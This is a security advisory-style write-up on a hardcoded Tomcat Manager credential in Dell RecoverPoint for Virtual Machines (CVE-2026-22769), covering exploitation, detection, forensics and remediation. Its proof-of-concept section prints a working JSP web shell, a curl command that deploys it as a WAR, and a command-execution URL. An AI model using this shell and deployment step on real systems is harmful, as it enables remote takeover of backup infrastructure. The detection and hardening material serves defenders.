Dell RecoverPoint for Virtual Machines – Hardcoded Credential Leading to Remote Root Access
CVE ID: CVE-2026-22769
Affected Product: Dell RecoverPoint for Virtual Machines
Vulnerability Type: Hardcoded Credential (Authentication Bypass)
Impact: Remote Code Execution → Root-Level System Compromise
CVSS v3.1 Score: 10.0 (Critical)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Exploit Complexity: Low
Severity: Critical
Exploit Status: Exploited in the wild
Public PoC: Limited circulation; techniques publicly known in security community
Overview
A critical security issue was identified in Dell RecoverPoint for Virtual Machines where a hardcoded administrative credential existed within the embedded Apache Tomcat management component. Because this credential was built into the product, it could not be changed by administrators. If the Tomcat Manager interface was reachable over the network, authentication could be performed using the hardcoded account without requiring legitimate administrative access.
Once authenticated, application deployment functionality within Tomcat could be abused to upload a malicious WAR (Web Application Archive) file. This action would result in remote code execution within the context of the Tomcat service. From there, privilege escalation to root could be achieved on the underlying appliance operating system.
The vulnerability effectively allowed a complete takeover of affected systems remotely.
Technical Root Cause
RecoverPoint for Virtual Machines includes an embedded Apache Tomcat instance for management purposes. Within its configuration, a static username and password were present for administrative access to the Tomcat Manager application.
The following security weaknesses were introduced:
- Hardcoded credential stored within configuration
- Tomcat Manager exposed to network access
- Application deployment functionality enabled
- Insufficient access restrictions on management interface
Because the credential was embedded and not user-configurable, compromise was possible as soon as the credential became known or extracted.
Affected Versions
Affected versions include RecoverPoint for Virtual Machines releases prior to the patched versions specified by Dell.
Upgrade is required to:
- 6.0.3.1 HF1 or later
- Or the vendor-specified fixed build in the official advisory
Refer to the official Dell advisory for exact version guidance.
Exploitation Methodology
The exploitation chain typically follows these steps:
1. Discovery
Management interface identified through:
- Port scanning (commonly TCP 8080 / 8443)
- Shodan-style exposure searches
- Internal reconnaissance
2. Authentication Bypass
Hardcoded credential used to authenticate to:
/manager/html
/manager/text
3. Malicious WAR Deployment
Tomcat Manager deployment endpoint abused:
POST /manager/text/deploy?path=/shell&update=true
A malicious WAR file containing JSP-based command execution logic uploaded.
4. Web Shell Execution
Access to:
http://target/shell/cmd.jsp?cmd=id
Command execution achieved.
5. Privilege Escalation
Persistence established via:
- Cron jobs
- Systemd services
- Modified startup scripts
- Root-level backdoor installation
Full system compromise achieved.
Educational Proof of Concept
Below example demonstrates how attackers deploy WAR file using Tomcat Manager credentials.
Step 1 – Create simple JSP shell
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
OutputStream os = response.getOutputStream();
InputStream in = p.getInputStream();
int ch;
while((ch=in.read())!=-1)
os.write(ch);
in.close();
%>
Packaged into:
shell.war
Step 2 – Deploy WAR
curl -u admin:HARDCODED_PASSWORD \
--upload-file shell.war \
"http://target:8080/manager/text/deploy?path=/shell&update=true"
Step 3 – Execute Command
http://target:8080/shell/cmd.jsp?cmd=whoami
If vulnerable, output would return:
root

MITRE ATT&CK Mapping
- T1078 – Valid Accounts (Hardcoded Credential Abuse)
- T1190 – Exploit Public-Facing Application
- T1505.003 – Web Shell
- T1059 – Command and Scripting Interpreter
- T1543 – Create or Modify System Process
- T1021 – Remote Services (Lateral Movement)
- T1071 – Application Layer Protocol (C2 over HTTP/S)
Indicators of Compromise
The following artifacts may indicate exploitation:
- Unknown WAR files inside:
/usr/local/tomcat/webapps/ - Suspicious JSP files
- Newly created systemd services
- Cron jobs referencing unusual scripts
- Unexpected outbound connections from appliance
- Unknown user accounts created
- Logins to Tomcat Manager from untrusted IPs
Log Sources for Detection
Detection should rely on:
- Tomcat access logs
- Tomcat manager logs
- Linux syslog
- Auditd logs
- EDR telemetry
- Firewall logs
- Network IDS
- VMware vCenter logs
Detection Queries
Splunk – Tomcat Manager Deployment Activity
index=web_logs
uri_path="/manager/*"
| stats count by src_ip, http_method, uri_path, status
| where http_method="POST" OR http_method="PUT"
Splunk – Suspicious WAR File Creation
index=os_logs
file_path="/usr/local/tomcat/webapps/*.war"
| stats count by host, file_name, user
Splunk – Web Shell Execution Indicators
index=web_logs
uri_query="*cmd=*"
| stats count by src_ip, uri_path, uri_query
Linux Auditd Rule
Monitor webapps directory:
-w /usr/local/tomcat/webapps/ -p wa -k tomcat_webapp_changes
Search audit logs:
ausearch -k tomcat_webapp_changes
Network Detection – IDS Logic
Alert on:
- HTTP POST to
/manager/text/deploy - Multiple authentication attempts to
/manager/html - Unusual outbound HTTP traffic from appliance
Example Suricata-style rule:
alert http any any -> $HOME_NET any (
msg:"Tomcat Manager WAR Deployment";
flow:established,to_server;
content:"/manager/text/deploy";
http_uri;
sid:100001;
rev:1;
)
Forensic Investigation Steps
- Capture full disk image of appliance.
- Export Tomcat logs.
- Hash and analyze WAR files.
- Review
/etc/passwdand/etc/shadow. - Inspect
/etc/systemd/system/. - Examine crontab entries.
- Review outbound network traffic history.
- Validate integrity of RecoverPoint services.
If root compromise confirmed, rebuild appliance from trusted image.
Business Impact
- Full takeover of backup/recovery infrastructure
- Potential access to virtual machine data
- Lateral movement into VMware environment
- Data exfiltration
- Long-term persistence inside enterprise network
Because RecoverPoint manages replication and disaster recovery data, compromise may allow attackers to manipulate or access sensitive backup copies.
Remediation
Immediate actions required:
- Upgrade to patched version specified in Dell advisory.
- Restrict network access to management interface.
- Disable or restrict Tomcat Manager if not required.
- Rotate credentials across environment.
- Perform compromise assessment.
Official Patch and Upgrade Guidance:

Security Hardening Recommendations
- Place appliance in dedicated management VLAN.
- Enforce firewall rules limiting access to trusted IP ranges.
- Enable EDR monitoring on appliance if supported.
- Monitor for WAR file deployment activity continuously.
- Conduct periodic configuration audits.
- Implement network segmentation for backup systems.
Conclusion
CVE-2026-22769 represents a high-impact authentication bypass vulnerability caused by a hardcoded credential embedded in the RecoverPoint for Virtual Machines management component. Because exploitation requires no user interaction and can result in root-level control of the appliance, risk exposure is significant.
Systems exposed to network access while unpatched should be treated as potentially compromised. Immediate upgrade and validation of system integrity are strongly recommended.
